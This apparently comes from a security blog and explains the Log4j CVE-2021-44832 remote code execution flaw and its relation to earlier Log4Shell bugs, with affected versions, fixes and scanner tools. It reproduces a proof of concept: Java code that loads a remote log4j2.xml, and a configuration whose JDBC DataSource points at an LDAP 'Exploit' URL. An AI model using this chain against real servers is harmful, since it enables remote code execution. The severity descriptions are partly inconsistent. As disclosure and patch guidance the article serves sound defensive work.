It was the big alarm throughout the internet when a critical remote code execution bug a.k.a Log4Shell (CVE-2021-44228) in the Apache Log4j logging library has been found. Soon after the bug was disclosed, exploit code and PoC started surfacing over the internet, which make the situation more worst. Malicious actors started scanning the internet and exploiting the vulnerability to deploy ransomware on vulnerable systems.
After somehow the internet gets stable, another critical remote code execution bug which is now tracked as CVE-2021-44832 is been discovered in the same Apache Log4j logging library, taking the whole internet back to the same situation. This is the third RCE and fourth vulnerability in the Log4j library followed by CVE-2021-44228 (RCE), CVE-2021-45046 (RCE), and CVE-2021-45105 (DoS attack).
Today, the Apache security team has released another version of the Apache Log4J (version 2.17.1) fixing CVE-2021-44832, a newly discovered Remote Code Execution bug. This is another bad situation for most of the users, but we strongly recommend everyone get their system updated to fix this critical issue.
Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.
From version 2.17.1, (and 2.12.4 and 2.3.2 for Java 7 and Java 6), the JDBC Appender will use JndiManager and will require the log4j2.enableJndiJdbc system property to contain a value of true for JNDI to be enabled.
The property to enable JNDI has been renamed from ‘log4j2.enableJndi’ to three separate properties: log4j2.enableJndiLookup, log4j2.enableJndiJms, and log4j2.enableJndiContextSelector.
What is Log4j RCE Vulnerability? (Log4Shell)
Apache Log4j library was vulnerable to the remote code execution bug which has the highest CVSS score of 10.0. Log4Shell (CVE-2021-44228), an internet vulnerability that affects millions of computers, involves an obscure but nearly ubiquitous piece of software, Log4j. The software is used to record all manner of activities that go on under the hood in a wide range of computer systems. If attackers manage to exploit it on one of the servers, they gain the ability to execute arbitrary code and potentially take full control of the system.
Technical Details of New Log4j2 RCE CVE-2021-44832
Yaniv Nizry, a researcher from the security firm, Checkmarx discovered this RCE vulnerability. In the blog post, he says- while reviewing the LOg4j 2 code, he encountered a new undiscovered deserialization security vulnerability. This vulnerability doesn’t use the disabled lookup feature.
The complexity of this vulnerability is higher than the original CVE-2021-44228 since it requires the attacker to have control over the configuration (like the ‘logback’ vulnerability CVE-2021-42550). Unlike logback, in log4j there is a feature to load a remote configuration file or to configure the logger through the code, so an Arbitrary Code Execution could be achieved with a MITM attack, user input ending up in a vulnerable configuration variable, or modifying the config file.
Yaniv noted while looking into log4j features he came across the ‘Appender’ functionalities, which are basically where to output the logs. Later, he was JDBCAppender also available which some public ways of getting RCE via JDBC Java deserialization.
Further going deeper, he found a way to configure log4j so that it will fetch the database source dynamically and remotely via JNDI. The configuration of the remote database location is done with the DataSource element. There was not any restriction of putting an arbitrary LDAP remote URL, thus making it potential to the classic JNDI:LDAP deserialization vector.
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>
The payload gets triggered and the code is successfully executed.
Who is impacted?
All versions from 2.0-alpha7 to 2.17.0, excluding 2.3.2 and 2.12.4
An extensive list of responses from impacted organizations can be found in this dedicated post.
Apache Log4j RCE vulnerability is much bigger than we think because Log4j is been used everywhere. In 2015, Java says that Java has over 10 million developers and running on 56 billion devices globally. But some [not all] of the applications use the Log4j logging library.
Affected Apache log4j Versions
All versions from 2.0-alpha7 to 2.17.0, excluding 2.3.2 and 2.12.4. Check below the summary of the vulnerability with the fixed version.
Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-API JAR file without the log4j-core JAR file are not impacted by this vulnerability. Furthermore, Apache Log4j is the only Logging Services subproject affected by this vulnerability. Other projects like Log4net and Log4cxx are not impacted by this.
| CVE | severity | CVSS Score | Kind | Fixed version | Reporter |
|---|---|---|---|---|---|
| CVE-2021-44832 | Moderate | 6.6 | RCE | 2.17.1 | Yaniv Nizry from CheckMarx |
| CVE-2021-45105 | High | 7.5 | DoS | 2.17.0 | Hideki Okamoto of Akamai Technologies |
| CVE-2021-45046 | Critical | 9.0 | RCE | 2.16.0 | iCConsult Kai Mindermann |
| CVE-2021-44228 | Critical | 10.0 | RCE | 2.15.0 | ChenZhaojun of the Alibaba Cloud Security Team |
How the exploit works
First, Fetching Remote configuration via HTTP:
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");Using the same LDAP (Lightweight Directory Access Protocol) server as done in the CVE-2021-44228 PoC (Proof of Concept), all we need to do is to run the:
//log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
static {
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
}
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
}
}And to serve the following log4j2.xml:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
<Column name="eventDate" isEventTimestamp="true" />
<Column name="level" pattern="%level" />
<Column name="logger" pattern="%logger" />
<Column name="message" pattern="%message" />
<Column name="exception" pattern="%ex{full}" />
</JDBC>
</Appenders>
<Loggers>
<Root level="warn">
<AppenderRef ref="databaseAppender"/>
</Root>
</Loggers>
</Configuration>Check Video PoC
Check Packages for Log4j Vulnerability
To date, we have multiple scripts or tools freely available that will automatically scan all your packages for the Log4Shell vulnerability. So of the recommended tools are -
- Log4j Scanner by CISA gov
- Log4jScanner by Google
- Local Log4j Vul Scanner by Hilko Bengen
- Web-based Log4j Vulnerability Tester by Trend Micro
- Full hunt Log4j Scan by Mazin Ahmed
We're continuously keeping this post-up-to-date as new information comes out. If you have anything to add, please comment below.
We will be Thankful to you for your contributions.